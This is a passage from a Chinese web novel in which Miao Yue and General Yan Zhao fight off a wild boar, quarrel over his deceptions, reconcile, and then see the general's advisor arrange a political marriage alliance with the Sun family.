只是认识了不到两天的陌生人, 仅此而已。 那些梦,那些纠缠的记忆,都只是她自己的事, 与他无关。 他当然有权利对任何一个女子发出邀约。 她不该生气, 也没有立场生气。 苗悦松了肩膀, 开始观察四周。 按时辰推算,日头早已升起, 但被云层遮挡,一丝光也漏不进来。 一场大雨, 将地面浇得透湿,泥土松软,枯叶烂草混在一起,踩上去又湿又滑。 周围树木生得异常茂密,枝叶层层叠叠,从上往下看,怕是很难发现那个洞口。 她捡起一块边缘锋利的石头, 用力在树皮上,划下了一个深深的“十”字。 左右看了看,她选了个方向。 那边地势似乎高些,树也稀疏点,或许能让烟升得更高。 她朝那边走,走一段,就在路过的树干上划个十字。 路不好走,她走得慢。 等走到合适的地方,回身已望不见洞口了,都是层层排排的高树。 那是块略突出的空地,下面可能有个巨石堆,周围没几棵树,头顶上敞亮些。 她爬到顶上,点燃火折子,用干草引火,将一堆半湿的树皮点起。 浓白的烟升了起来,起初有些散,渐渐凝聚成一股,晃晃悠悠地向上飘去。 苗悦拍拍手,准备回去,忽然听到后方树丛中传来枯枝被接连踩断的脆响,以及粗重的呼哧声。 她回头。 一头体壮如牛的黑色野猪,正从灌木后踱出,肩背的鬃毛粗硬竖起,弯曲的獠牙泛着黄白的光,小眼睛里透着警惕与暴躁。 它似乎被烟味和陌生人的气味惊扰了。 苗悦屏住呼吸,慢慢摸出腕扣,将它戴在手上,同时一点点后退,余光寻找周围适合躲避的位置。 但那野猪的头压得更低了,前蹄开始刨地,喉咙里发 出威胁的低吼。 苗悦毫不犹豫,转身朝着最近的一棵大树冲去。 野猪发出一声尖锐的嚎叫,庞大的身躯猛地启动,像一枚黑色炮弹,裹挟着泥土和断枝,朝她冲来。 苗悦对着大树射出悬丝,钩爪扣实,她手腕回拉,细韧的丝线瞬间绷直,借力将她的身体向上提去。 苗悦足尖蹬踏树干,几个起落便攀上了高枝。 几乎就在她脚离地的同时,野猪狠狠撞在树干上。 树干猛地一歪,苗悦的身体随之大幅度倾斜,她死死抱住树枝,才没被甩出去。 野猪被反作用力震得后退两步,晃了晃脑袋,再一次冲撞树干。 那野猪连撞了七八下,才暂时停下,围着树打转,呼哧呼哧喘着粗气,低头用獠牙啃树根,啃够了,又继续撞树。 随着它的撞击,树干晃动幅度明显变大,内部传出开裂声,树根处的泥土被拱开了一大片,露出盘结交错的根须。 野猪没有老虎那样潜伏守候的耐心,但这棵树,恐怕撑不到这头畜生放弃离开。 苗悦稳住呼吸,将腕扣瞄准野猪。 腕扣不是杀人的利器,钩子极小,但足够尖,足够硬,即便是皮毛厚实的野猪也有脆弱的地方。 比如眼睛。 野猪再次停下冲撞,去啃树根,獠牙刮擦着木头,发出令人牙酸的声响。 就是现在。 苗悦指尖微动。细钩疾射而出,没有任何声音,精准地没入了野猪的右眼。 下一瞬,野猪惨嚎着,庞大的身躯向后弹开,疯狂地甩动头颅。 剧痛激发了它的凶性。它毫无章法地横冲直撞,每撞一次,都让树身发出更密集的噼啪声。 苗悦紧紧抱着树干,咬牙再次瞄准,等着下一个机会。 就在这时,尖锐的破空声响起,一道红色火光在林地上空炸开。 同一刹那,燕钊从树林中疾冲而出,长刀出鞘,划出一道冷冽的光。 光影未消,人已冲至野猪侧后方,刀锋劈向野猪后腿关节。 野猪皮毛坚硬厚实,那一刀入肉不深,只带出一道血口。 野猪痛吼,调转身躯,锁定这个新出现的敌人,张开獠牙,后蹄猛蹬,低着头全力冲撞过去。 燕钊侧身向一旁的树后闪避。 野猪撞在树干上,震得落叶纷飞。 燕钊从树后闪出,再次挥刀,目标是野猪相对脆弱的脖颈侧面。 刀刃与獠牙碰撞,竟发出金铁交击般的刺耳声响。 燕钊手臂一震,虎口发麻。 野猪的冲撞力太大,只要被它撞到一下,人就爬不起来了。 他不断闪避,利用树木和岩石作为掩护,只在野猪露出破绽瞬间递出刀锋,每一刀都力求留下伤口,消耗它的体力。 野猪又一次蛮横冲撞,将燕钊逼到一块巨岩前。 燕钊猛地蹬踏岩壁,向侧上方跃起,险险避开冲撞。 野猪收势不及,獠牙磕在岩石上。 就在它因反震抬头的瞬间,一直屏息凝神的苗悦,扣动了腕扣。 细钩无声射出,刺入野猪左眼。 黑暗和剧痛,让野猪彻底疯狂,獠牙乱挑,蹄子乱蹬,一时间断木纷飞,泥土四溅。 苗悦在树上大喊,分散野猪注意。 瞎了眼的野猪循着人声,闷头猛撞过来,正撞在苗悦藏身的树干上。 托着苗悦的树枝因剧烈摇晃断开。 苗悦双脚在倾斜的树干上用力一蹬,借着这股力道,将自己朝侧方甩了出去,顺势翻滚,险险避开了野猪的后蹄。 燕钊一声大喝,向左后方半人高的岩石退去。 野猪循声换个角度,再次猛冲,头颅压得更低,一头撞上岩石。 趁它亮出破绽时,燕钊飞身跳起,双手握刀,将全身的力量贯注于刀尖,对准野猪后颈要害,狠狠刺下。 刀身贯入,直至没柄。 野猪发出一声惊天动地的垂死嚎叫,四肢僵直,随即疯狂地挣扎扭动,几乎要将燕钊甩飞出去。 燕钊死死握住刀柄,身体被野猪带得踉跄。 他手腕发力,全身重量下压,将刀身在野猪体内狠狠一绞。 野猪抽搐了两下,轰然倒地。 燕钊拔出长刀,血花飞溅。 苗悦从地上撑起身,只见燕钊一身的血,惊呼:“燕钊!” 她顾不得身上的痛,踉跄爬起,朝他跑去。 燕钊再没看那野兽一眼,急步迎向苗悦。 两人在倾倒的树干旁相触。 燕钊的手有些粗鲁地捧住了苗悦的脸,带着血污的指腹,急切地抚过她的额角、脸颊、下巴,又抓住她的肩膀,视线扫过她全身,声音紧绷:“伤到没有?哪里疼?” 苗悦被他抓得不得不抬头,话已出口:“你流血了,哪里伤了?” 两人同时发问,又同时顿住。 燕钊深吸一口气,松开一只手环过她的背,将她用力按进怀里,压抑不住的后怕:“我不该让你一个人出来。” 苗悦没说话,只是伸出手,同样回抱住他,脸埋在他肩窝,闭上了眼,心跳到了现在才缓和下来。 她的膝盖隐隐作痛,双腿轻颤,刚才落地时好像磕到哪里了。 不过没关系,现在她很安全。 方才点的烟不知何时已散尽,只剩一缕细弱的白气。 不远处的林子里,几双眼睛正悄悄看着这边。 红色信号烟发出不久,他们就赶到了,正看到将军与野猪搏杀,险象环生。 好几次,他们的手指都扣紧了扳机,差点就要放弩箭。还是队里年纪最长那个,压住了同伴的胳膊。 这么难得的在心爱女子面前出风头的机会,怎么能让他们这些大头兵抢了去。 此刻,眼见野猪倒地,那两人奔向一处,紧紧抱住。 几个亲兵互相看了看,都露出心照不宣的笑意,默契地收了弩。 苗悦抬头:“你怎么过来了?” 燕钊说:“你一走我就追出来了,看到野猪立刻放了信号烟。” 他四下看看:“那帮小子,这么慢。” 苗悦疑惑:“那信号烟……是你放的?” 燕钊“嗯”了一声,刚要解释。 苗悦往后退了一步,低头看向他的腿。 空气突然安静。 苗悦静静地看着他完好站立的双腿,再抬眼看他。 燕钊的视线飘向旁边,又飞快移回来。 杜言说过,这锅他来背,可现在只有自己在这,怎么办呢。 是不是应该主动供出杜言。 苗悦问:“你什么时候认出我的?” 燕钊道:“法场那天。” 苗悦恍然,略一思索,又问:“那城门开了三天,进来多少人?” 燕钊道:“……一万一。” 苗悦问:“这么多人同时入城,安置得了?” 燕钊道:“还好,事先划了地方,按人头分发物资,银钱粮食也备了些,虽有忙碌,未出大乱。” 苗悦“哦”了一声,弯唇:“为我一个人,让将军这般兴师动众,破费了。” 燕钊心头发紧,迟疑道:“你生气了?” “怎么会。”苗悦心平气和,“我高兴还来不及。” 她看向山顶:“既然将军的腿没事,那我们直接上山吧。” 说完,她率先朝山路迈步。 燕钊跟了上去,走在她身侧,目光时不时落在她脸上,试图看出点什么,但什么也看不出。 林子里,几个亲兵凑在一起,压低声音。 “跟不跟?” “将军也没招呼咱们……” 年纪稍长那位摸了摸下巴,低声道:“人家两个人上山,正好讲些私房话。咱们凑上去,岂不是碍眼。” 其余几人闻言,立刻恍悟,纷纷点头,到底是年纪大有经验。 又有人问:“那我们在这等着?” 那年纪稍长的抬抬下巴:“等什么,搬野猪啊,今晚开开荤。” 几个小伙子立刻来了精神,兴致勃勃地研究起怎么把这头猪扛上山。 第98章 雨后的山道湿滑难行, 无数叶子被冲刷下来,覆在原本的小径上,一脚踩下去 , 又软又滑,深浅难料。 苗悦走在前头, 每一步都踩得铿锵有力。燕钊跟在她身后, 目光大半落在她脚下, 手几次微微抬起, 又都收了回去。 两人沉默着, 空气绷成了弦。 最终还是燕钊先开了口。 “我承认, 骗你是我不对。”他盯着苗悦后背, 抿了抿唇,“但这一局,是杜言安排的。我掉下去的时候, 才反应过来。我也不知道脚底下有机关。如果是我来算计, 我绝不可能让孙兰初也一块掉下来。” 苗悦扭头, 瞥他:“那哪一局是你的算计?断腿也是杜言的安排?” 燕钊闭上了嘴。 苗悦冷哼一声,转回头, 迈着大步往前走。 燕钊在她身后,拽了一下她衣袖。 苗悦使劲抽回来。 燕钊又拽了一下。 苗悦用力一抽, 侧头:“别碰我。” 燕钊顿了顿,道:“走错了。” 苗悦停步去看脚下。 雨水将大量的枯枝败叶打落在地,厚厚地铺了一层,早已将人踩出的小径掩盖得严严实实。 放眼望去,四下都是深浅不一的落叶,根本分不清哪里是路,哪里是普通的山坡。 她抿紧了唇, 没动,也没说话。 燕钊从她身后走上来,站她旁边,抬手往右前方指了指。 苗悦朝着他指的方向,继续迈开步子。 燕钊胸膛起伏了几下,冲口道:“我若不算计你,怎么能靠近你,怎么让你好好听我说话。你又不会来找我!” 他往前追了两步,理直气壮:“我算计你不对,可你先算计了我二十多年……” 苗悦的脚步猛地刹住。 她转过身,面朝着他,睁大一双眼:“那能一样吗,那是记忆世界,是假的。这里是现实,我们是真的从那么高的地方掉下去了,还带着孙兰初!” 吼完,她气鼓鼓地转身继续往前走。 燕钊猛跨几步,挡在她身前,盯着她:“你这话什么意思?当初是谁跟我说,虽然那个世界是假的,但感情是真的,喜欢我也是真的。你现在不想承认了?” 苗悦嘴唇抖了抖,视线有些躲闪,低声道:“我是喜欢你,所以才被你利用了。” 燕钊皱眉道:“我利用你?我要是不设那一局,不让那什么记忆世界消失,我到现在还被你蒙在鼓里。到底谁利用谁。” 苗悦自知理亏,伸手去推他:“让开。” 她推了两下,燕钊没动。 她抬脚就从他身侧绕过,负气之下没留神落叶中的石子,一个打滑,身体向后歪去。 燕钊眼疾手快,抓住她胳膊,把人往怀里一拽。 苗悦才站稳,立刻将他甩开。 就在这时,他们过来的路上,传来人声和嘈杂的脚步声。 两人同时转头看去。 几名燕家军亲兵,正用两根粗木做杠,抬着那头大野猪,吭哧吭哧地沿着他们留下的痕迹追了上来。 野猪分量不轻,几个年轻力壮的小伙子走得也并不轻松。 打头那个眼尖,一眼看到前面站着的两人,高兴地喊:“将军,你看,这野猪我们给抬上来了。” 苗悦的视线从野猪身上移到燕钊脸上,难以置信道:“你居然连野猪也算计进来?” 她想起刚刚自己拼命抱树求生,多次艰难躲避野猪撞击,怒道:“你知不知道这真能死人的!” 燕钊一口气噎在胸口,胡乱辩解:“不是……这个我真不知道……” 苗悦不想听,转身就走。 燕钊对着那帮不知所以的亲兵低吼:“就知道吃!回去再找你们算账!” 几个小伙被吼得一愣,互相看了看。 其中一个喘着粗气说:“这、这猪实在沉,要不咱们歇一晚上,明天再回去?” 另外几人连连附和,实在不想再和将军碰上了。 山路越发崎岖。 有些地方被雨水冲垮,需要手脚并用攀爬,有些地方则是狭长的石缝,仅容一人通过。 苗悦停步,冷声道:“你先。” 燕钊站着没动,硬邦邦地回:“你先。” 苗悦不再争论,先一步走进去。燕钊紧随其后。 两侧山壁直上直下,光线转暗,空气变得凝滞,来路被身后的人挡住,去路隐在曲折的山壁深处。 两人一前一后,缓步前行。一时间,这幽暗的窄道,成了天地间唯一的存在。 不时有岩隙渗下一串冰凉的水滴,对着苗悦的发顶落去。 燕钊本能抬手,挡在她头顶上方。 苗悦有所感,侧头避开:“不用。” 声音疏离。 燕钊慢慢收回手。 这方寸之地,隔绝了外界所有的纷扰,只剩下他们两人。 有些话,无法再隐藏,必须被这狭窄的空间挤压出来。 “穿过这条路,再走不远就到山顶了,肯定有很多人在上面等着。”燕钊缓缓开口,“记忆世界里发生的事,李晏才是源头,你有你的不得已。我不怪你。你在那里照顾我多过算计我,我心里有数。” “记忆世界是假,可我在里面过的每一天,感受到的一切,都是真的。你说喜欢我时的样子和语气,我忘不掉。” “抛掉那些算计和任务,我只问你一句。在那里,你对我说过的话,现在还当不当真?” 苗悦垂着头,沉默地往前挪动脚步。 燕钊看不见她的表情。他等了几息,没等到任何回应。 穿过前面最后一段岩缝就到头了。外面是开阔的山路,杜言他们很可能已经下山寻来,或者就在出口附近等着。 一旦走出去,众目睽睽,有些话,有些事,就难摊开来说了。 燕钊心里那点沉稳开始碎裂,不甘窜了上来。 “记忆世界里,你骗我的那些,我也没计较,咱们就不能扯平吗?而且昨晚你也说了,一个人努力争取他自己认定的缘分,哪怕用上兵书上的法子,也是可以理解的……” 苗悦方才因他坦诚而升起的心动,顷刻被火气压了下去。 她猛地转过身,食指戳到燕钊胸口:“闹了半天,你昨晚那些话,是在给今天这事做铺垫。” 她声音拔高:“那是我的理解吗?那是你给我挖的坑!” 她扭头就走,脚步比刚才更快。 燕钊才追了两步,苗悦又是一个回身。 他立刻停步。 苗悦盯着他,一字一句道:“还有,我在记忆世界里,没有算计你二十多年。我跟你,满打满算,只相处了四年。” 说完,她大步朝出口的光亮走去。 燕钊跟上,眉头皱起。 只有四年吗?可他怎么觉得,很久,很久。 苗悦快步走出山缝,就见前方站着一小群人。 那些人见有人出来,纷纷围上。 “将军,可算找着你们了。” 果然是杜言他们等不及,已经找下山来了。 剩下的路不长,也平坦了些,很快到了山顶。几匹马拴在树上。 苗悦看也不看旁人,径直朝马匹走去。 燕钊几步抢到她身侧,压低声音:“你应是不应,给我个痛快话。” 苗悦声音也压 得低:“我现在不想跟你说话,离我远点。” 对话间,她已走到马匹旁,目光一扫,认出了杜言那匹性子温顺棕色母马。 “杜先生,借你马一用。”她丢下这句话,骑上马,一抖缰绳,沿着山路朝衡州城跑去。 “苗姑娘……”杜言愣了一下,他话没说完,马已跑远。 他转头看向燕钊,刚张口:“将军,你这……” 燕钊冲到自己的马旁,解缰上马,一气呵成。 骏马扬蹄,朝着苗悦追去。 他的马更快,不多时便追了上来,与她并行。 “停下。”燕钊侧头喊。 苗悦充耳不闻,反而一夹马腹,催得更快。 “苗悦。”燕钊又喊一声,见她不理,沉声道,“你若不停,我便让它停。” 苗悦这才斜睨他一眼,嘴角轻抿,手腕忽地一翻,指尖微光一闪,冲着燕钊坐骑的后臀弹去。 燕钊吃了一惊。 这玩意他可太认得了,别的不提,那个金钩和丝线都是极韧的,等闲武器绞不断。 马屁股要是挨一下,就算不出个血洞,也得疯上半天。 若不是他早知道这东西如何用的,肯定躲不过。 他心头一凛,长刀未出,刀鞘如电翻转,卷向那袭来的丝线。 金钩被刀鞘卷住,缠了个结实。 苗悦立刻回扯。燕钊手腕一沉,运上巧劲,并未硬抗,顺着她的力道微微一引,那丝线瞬间绷直。 他太清楚这金丝的韧性和她发力的习惯了。 两人在奔驰的马背上,一个腕上扣着丝线,一个刀鞘卷着丝线,较上了劲,谁也不肯先松。 山路渐宽,逐渐与通往城外的官道相接,衡州城的轮廓在远处显现。 “你先停下,我们把话说清楚。”燕钊再次开口。 “你先放手。”苗悦咬牙。 她会骑马,但并没有太多骑马的机会,所以技术一般。 一边控马,一边角力,对她来说实在艰难。 燕钊问:“我放手你就停?” “你先放。” 燕钊盯着她看了两秒,手腕一松,力道撤去。 苗悦正全力后拽,对面的力骤然消失,她整个人猝不及防地向后仰。 杜言的马本是温顺的母马,突然承受这般向后的大力,也受了惊,前蹄一扬,嘶鸣出声。 苗悦更加坐不稳,惊呼一声,朝后摔落。 燕钊见她落马,面色骤变,一跃而起,扑向苗悦。 他在半空中伸手,堪堪将人捞进怀里。 他们此刻正在山道与官道交接的缓坡处,遍生杂草。 巨大的冲力带着两人一起顺着草坡滚了下去。 尘土草屑飞扬。 滚落间,燕钊一手环住苗悦的腰背,另一只手牢牢扣在她脑后,将人严严实实地圈在怀里。 坡不算陡,也不算长。 几下翻滚后,两人停在了坡底。 燕钊保持着滚落时的姿势,将人护得密不透风。 苗悦惊魂未定,急促地喘息。 尘土渐渐落下。 燕钊略松了手臂的力道,低头看去。 苗悦也在这时,慢慢睁开眼。 两人距离极近,鼻尖几乎相触。 她眼底还带着未散的惊悸,温热急促的呼吸拂过他的下颌,带着青草的气息,与他滚烫的呼吸交织在一起。 周围的一切声音瞬间远去。 燕钊的视线落在她唇上,那唇瓣因喘息和紧咬显得格外鲜润。 他眼神一沉,不再犹豫,重重碾了上去。 齿关磕碰,舌尖强硬地抵开,窥探。 苗悦喉咙里溢出一声模糊的呜咽,不知是抗议还是别的什么,手指蜷缩起来,陷进他肩头的衣料。 起初是推拒的力道,却在更深入的厮磨间,渐渐松了,手指从他肩头滑下,无力地搭在他臂膀。 直到空气快要耗尽,燕钊终于松开,稍稍拉开了些许距离。 他呼吸不稳,胸膛起伏,额发也凌乱,却仍用沙哑的嗓音执着道:“你点个头,或摇个头……给我个痛快。” 苗悦眼睫颤了颤,皱了下眉。 “明明记忆世界里挺聪明的,怎么现实里变笨了。”她轻喘着,抬起一只手,勾住他脖子,将他拉近,“到底是我教得好。” 燕钊看着她。她眼中那熟悉的,狡黠纵容的光,如此真实,如此贴近,不再隔着记忆的帷幕。 他听懂了,感受到了,无需言语,只是又一次吻了上去—— 作者有话说:明天周三,休息一天~ 第99章 山峦隐在薄雾里, 草叶上挂着细碎的水珠,被方才的滚碾压出凌乱的痕迹。 湿意透过衣料,丝丝缕缕地渗上来。 燕钊的呼吸还很重, 他盯着她看了片刻,在她微肿的唇上, 飞快地啄了一下。 然后, 他才彻底松开, 撑着自己先站起身, 转而伸手, 握着苗悦, 将她也拉起来。 两人面对面站在湿漉漉的草地上, 下摆和后背都沾了大片的湿泥和碎草,有些狼狈。 燕钊将两指抵在唇边,打了一个呼哨。 不多时, 他的黑马便小跑过来, 停在他身边, 低头蹭了蹭他的手臂。另一匹马却没有跟来。 燕钊道:“许是被杜言他们寻到了。”他转回头,示意苗悦, “来。” 苗悦走近。燕钊扶住她腰侧,向上一托, 将人送上马背,随即自己也翻身上马,坐在她身后。 两人衣服都沾了湿泥碎草,谁也别嫌谁。 燕钊一抖缰绳,黑马小跑起来。 “现在去哪?”他问。 苗悦想了想,说:“我现在本该在珠珠祖母庄子上,吃喝玩乐的。”她用手肘往后一怼, “你欠我一百两。” 燕钊低笑,胸膛震动:“那你随我回将军府。莫说一百两,整个库房都归你。” “昏君,谁要你库房。”苗悦也笑,“我要回家,脏死了。” “好。”燕钊应道,并没问家在何处,只控着缰绳,让马往城里的方向去。 苗悦侧过脸:“你知道我住哪?” 燕钊顿了顿,装傻:“住哪儿?” 苗悦又用手肘抵他:“你早查清楚了,是不是?” 燕钊笑笑,说:“你落脚何处,我总要知道,但没查出阿芦是不是你亲弟弟。” “不是,他算是我师弟。” 燕钊斟酌着:“你师父他……” “死了。”苗悦道,“死在牛焘攻入长安时。” 燕钊没追问,只是将她拢得更紧了些。 过了一会儿,他开口:“昨天到现在,都没正经吃过东西,挺饿的。我们先去吃饭,还是先回去?” 苗悦也很饿,但她的衣服经草坪打滚后,实在没眼看了,不像燕钊的轻甲,多脏也不显。 “我想回去换身衣裳。” 燕钊道:“先送你回去,我再去买点吃的。想吃什么?” “想吃你说的梅干菜肉沫烤饼。”苗悦靠着他,想了想,又补道,“还有荟丰楼的八宝葫芦鸭、翡翠虾仁和蟹粉狮子头。” 燕钊咧嘴。 说话间,两人进了城,城门的官兵见到燕钊抱拳行礼。 燕钊控着马,避开行人,轻车熟路地拐进了一条偏僻安静的巷子。 最终停在一个院门狭小的院子前。 他扶苗悦下马,推开半旧的木门。 院子很小,一眼就能望到头,但打扫得极为干净,不见碎石杂草。 墙角立着几个大小不一的陶罐瓦盆,有的盛着水,有的栽着路边常见的野菊,开着一簇簇白色黄色的小花。 正对院门是两间小屋,窗纸是新糊的,糊得不算十分平整,但干干净净。 一切都很简单,可以说是清贫,没有一样值钱的东西。 燕钊看向那几盆开得热热闹闹的野菊花,想起很久以前,她也是这样,喜欢在窗台上石阶上摆各种各样的瓦罐,插上各种各样的花。 这是她骨子里的东西,哪怕世界随时可能崩塌,她也要在今天,把家收拾得舒服妥帖。 燕钊看着苗悦进屋。门在她身后虚掩上。 苗悦走到盆架前,掬水洗脸,用帕子仔细擦干脸和脖子,解开松散的发髻,对着铜镜,用篦子一点点梳理长发,将草梗碎叶都挑拣干净,梳了一个简单的垂练髻。 之后,她取出一个木盒,盒子里放着她赚来的大几十两银子,以及孙兰初送她的所有首饰, 苗悦在首饰间挑拣,拈起了一支嵌着湖 蓝色碧玺蜻蜓簪,斜斜插在发髻一侧。 蜻蜓翅膀极薄,随着她的动作轻轻颤着,像要飞起来。 做完这些,她再次看向镜子。 镜中人依旧素净,只发间一点的颤动,湖蓝的光便若隐若现地闪一下,不张扬,却让整张脸都跟着亮了起来。 她盯着镜子看了一会儿,嘴角不自觉弯起,很快又抿住了。 换好衣服,她又对着镜子照了照,理了理裙摆。 院门那里传来开合的轻响,接着是脚步声。苗悦在门后静静等着,听着那脚步声穿过小小的院子,停在房门外。 苗悦深吸口气,在燕钊抬手准备敲门的刹那,从里面拉开了房门。 两人正好打了个照面。 苗悦笑容明媚。 燕钊提着个挺大的食盒,他没料到她恰好开门,动作顿了一下,目光在她脸上顿住,惊艳之色显而易见。 “这么快。”苗悦目的达到,心满意足,侧身让他进来。 燕钊提着食盒走入。 屋子不大,一张半旧的方桌,两张同样不怎么新的条凳,靠墙一个木箱,墙角放着脸盆架。 窗台,桌角,都摆着陶罐,里面插着开得正盛的花,或是几根缀着绿叶的枝条。 这场景,太熟悉了。 熟悉得让他几乎要以为,一转身,就能看见那个破破的陈家村的院子,看见那扇糊着新窗纸的窗户。 他人生中第一次知道家的滋味,就是在这样一间同样简陋的屋子里。 没有离魂香,他可能永远也没有这个机会。 再遇李晏,他该道声谢。 一顿饭吃了很久,饭毕,燕钊在那里又坐了个把时辰,想等阿芦回来见见面。 直等得天都要黑了,阿芦还没下工,他无奈先离开了。 回到将军府时,府门口已挂起了灯笼。 他将缰绳丢给迎上来的门卫,一进大院便见廊檐下晃悠着几个人影,探头探脑的,是那几个近身的亲兵。 见他回来,那几人立刻站直了,似乎想开口,却又都没出声,欲言又止,想问又不敢问。 燕钊径直朝他们走过去。几人立刻绷紧了背。 燕钊在他们面前站定,语气松快:“都杵在这儿做什么。那野猪,弄上来了没有?” 亲兵们怔愣后,眼睛俱是一亮,完全掩不住的笑意,互相挤眉弄眼。 “弄上来了,弄上来了。”一个亲兵抢着道,声音都响亮了几分,“好家伙,费了老鼻子力气,明晚就加餐!” 燕钊拍拍他肩,说了句“挺好”,便咧着嘴越过他们,朝里走去。 身后传来带笑的交谈声。 经过书房时,他见里面还亮着灯,便推门进去。 杜言果然在,正坐在书案后。 他听见动静抬起头,见是燕钊,露出了然于胸的笑:“看将军神色,此事是定了?” 燕钊坦率地应道:“定了。多谢先生。” 杜言捻须笑了笑,打趣道:“属下总算不必再忧心将军夜不安枕,昼不理事了。” 燕钊只笑,转而问:“孙小姐那边如何?” 杜言道:“孙小姐平安无事,早就回府了,只是受了些惊吓,将养两日便好。另外,倒是有个意外之喜。孙公对周牧很是欣赏,言语间,似乎有结亲之意。” “周牧?”燕钊略感诧异。 杜言道:“周牧不是下去接孙小姐出来么,一路上对孙小姐颇为照顾,进退有度。孙小姐对他多有感激。孙公看在眼里,便生此意。” 燕钊皱眉思忖,问:“杜先生,这事……可在你谋划中?” “算不得特意安排。”杜言笑道,“毕竟男女之事,强扭不甜。不过,若彼此都有那么点意思,我们顺水推舟,促成一段良缘,对大家都有好处。咱们入主衡州也有几年了,与本地旧族的关系,始终不冷不热。祝家倒台,更是让一些旧族心存芥蒂。若能与孙家结了姻亲,借此打开个口子,倒也不是坏事。” 燕钊沉吟片刻,道:“此事终究要尊重周牧自己的意思。” “那是自然。”杜言道,“孙公那边,有意邀请几家士族小姐,组织个茶会。也邀请咱们府上了,我知将军不喜这等场合,已经帮你推掉了。不过人家邀请了,咱们总不好一个人都不去。我准备带几个得力的年轻人过去。” 他报了几个名字。燕钊一听,全是跟在他身边的单身汉。 他看向杜言:“杜先生,你是要拿我的亲兵,去结交那些旧族子弟?” 杜言嘿嘿一笑:“将军这话说的。同辈年轻人,本该多走动走动。对了,”他像是忽然想起什么,岔开了话题,“西院一直空着,离主院近,景致也清幽。属下明日便派人收拾布置,也好请苗姑娘和她弟弟早些搬进来。他们如今住的那处,实在有些简陋。” 燕钊道:“她不喜被人过多安排打扰,先这样便好。而且,我不想让人背后嚼她舌根。” 杜言点点头,又问:“她弟弟眼下做的那份工,收入微薄,是否要替他另寻个差事?” 燕钊道:“暂时不动。待成婚之后,自然一并接入府中。到时再看他自己意愿,是想在府里谋个差事,还是另有打算。” 杜言听到这里,眼中笑意更深:“将军已考虑到婚事了。” 燕钊才觉失言,有些不自在,笑道:“总要考虑的。” 杜言道:“将军的年岁也确实该考虑此事了。不知将军打算何时迎娶苗姑娘?” 燕钊道:“不急,也就是个流程。” 杜言却摇了摇头,道:“属下倒觉得,宜早不宜迟。” 燕钊看他:“为何?” 杜言将声音压低了些:“李晏确实去找张邠阳了。” 燕钊眉头皱起,沉默片刻,才道:“饮鸩止渴。” 杜言叹道:“渴极了,明知是鸩,也得先喝两口。他也是实在没法子了。张邠阳绝非省油的灯,长安那潭水只会更浑,届时我们想独善其身,只怕不易。” 燕钊点头,颇是认同。但他随即又皱起眉:“这与我的婚事有何关系?” 杜言道:“将军当趁着此时局未大乱,先把身家大事定了。若能早日有了子嗣,内外根基都更稳固些。” 燕钊听完,一时无言。 他忽然意识到,自己方才考虑的,只是他与苗悦之间水到渠成的私事。而杜言所想的,是这场婚事能否在变局到来前,让“燕”字旗插得更稳当。 他看着杜言,问:“杜先生,你日夜为我操劳筹谋,那先生自己,想要的是什么?我能为先生做些什么?” 杜言愣了一下,随即笑了,坦言道:“属下希望将军万岁,如此,属下也能长长久久地辅佐将军,得个善始善终。” 燕钊摇头:“这听着不像实话。” 杜言捋了捋胡须,道:“属下自幼仰慕诸葛武侯经天纬地之才,自知才学远不及古人万一,不敢奢求功业比拟。思来想去,便只盼着在寿数上,能比武侯更长些,多看几年太平光景,多为将军操几年闲心,也就知足了。” 燕钊深深地看他一眼。 杜言想做个能得享高寿、善终于卧榻的“诸葛孔明”,“闲心”实则是掌控大局之心。 他不满足于一时一计的胜利,他要的是燕钊这一脉的长治。他追求的不仅是生前的荣华,更是青史中的名声。 这是用谦卑的外衣套着野心。 但这野心之下,亦有承诺与期许。 燕钊看着杜言,郑重道:“我曾说过,先生厚望,必不相负。如今,我便再对先生说一句。他日,必请先生共看山河无恙。” 燕钊没有意识到,他脱口而出的“先生厚望,必不相负”,只在记忆世界中说过。 杜言微微一怔,实在想不起将军何时对自己有过那般承诺。 他摆手淡笑:“虚言先不必提,眼下最要紧的,还是将军的婚事,尽快定个日子。”又打趣道 ,“有将军带头成了家,下头的儿郎们才好跟上。不然您一直单着,那些愣头青也有样学样,一个个只顾着打仗练兵,终身大事都耽搁了。长此以往,后继无人,这风气可不好。” 燕钊笑着应下。 第100章 孙府安排的茶会赶在天冷前办了。 杜言带着周牧等几名年轻得力的军官赴会。同时, 他与孙佑安私下进行的商议也在推进。 燕钊愿授予孙佑安“长史”这一清贵文职,可参与教化、民政等事务的议论,并且由孙家负责一定份额的军粮采购, 再对其名下田产商铺,给予三年减税两成的优惠。 孙佑安承诺开放家族商路, 优先保障军需物资的采购与运输, 并承担燕家军每年一成的军费。 另一边, 周牧因着之前的相救之谊, 颇受孙家礼遇。 孙兰初对他也格外不同, 见他来了, 主动过来打招呼, 还特意让丫鬟给他端来时新的茶点。 孙兰初性格单纯,活泼外向,家里又宠, 想干什么就干什么, 从不管旁人目光。 周牧话少内敛, 要拒绝又不知如何开口,总被她牵着鼻子走。 一来二去, 周牧身边那些同僚就瞧出了端倪,操练间歇, 围着他打趣。 “周校尉,好事将近了吧?孙家小姐看你的眼神可不一样。” “亲自给你递点心,我们都没这待遇。” “我就说嘛,杜先生怎么偏偏点你下去接人。原来是要给咱们周兄弟牵一桩好姻缘呐。” 周牧红着脸辩解。 卫捷拍着他肩道:“杜先生心思九曲十八弯,他既点了你,自有他的道理。再说,你小子要是没点意思, 干嘛让人家姑娘给你端茶递水。” 周牧被他一通揶揄,气道:“你休要胡说!” 卫捷见他着恼,挑眉道:“你小子真是得了便宜还卖乖。孙家家大业大,就这一个千金,模样好,性子也好。哪天你真成了孙家女婿,有你的好日子。” 众人起哄,周牧沉了脸,说得好像他贪图孙家富贵一般。 他径直去找了杜言。 “杜先生!”门开着,周牧一脚踏了进去。 杜言正在写字,吓了一跳,墨滴到纸上,晕开一团。 他放下笔,叹了口气,无奈地抬头:“什么事?” 心里却隐隐知道是什么事了。 周牧开门见山:“杜先生,你是不是想让我娶孙家小姐?” 杜言露出迷茫之色,还带了点气愤:“你从哪里听来的?” 周牧道:“他们都这么说。” 杜言道:“他们都这么说,就是真的?你自己不会动动脑子?” 周牧被他这么一问,气势顿时弱了,面露犹疑。 “是,孙公确实向我表达了想与将军这边结亲的意愿。”杜言语气缓下来,“人家有意加深与咱们的往来,主动提出承担一成军费。不过是希望从咱们燕家军的年轻人里,给他闺女找个合适的。可也没指名道姓说是你周牧啊!和你年纪相当,还没成家,能力也出众的,又不止你一个。你别把这种好事随便往自己头上扣,这对其他人不公平。” 周牧有点懵,张了张嘴:“可是……但是……” 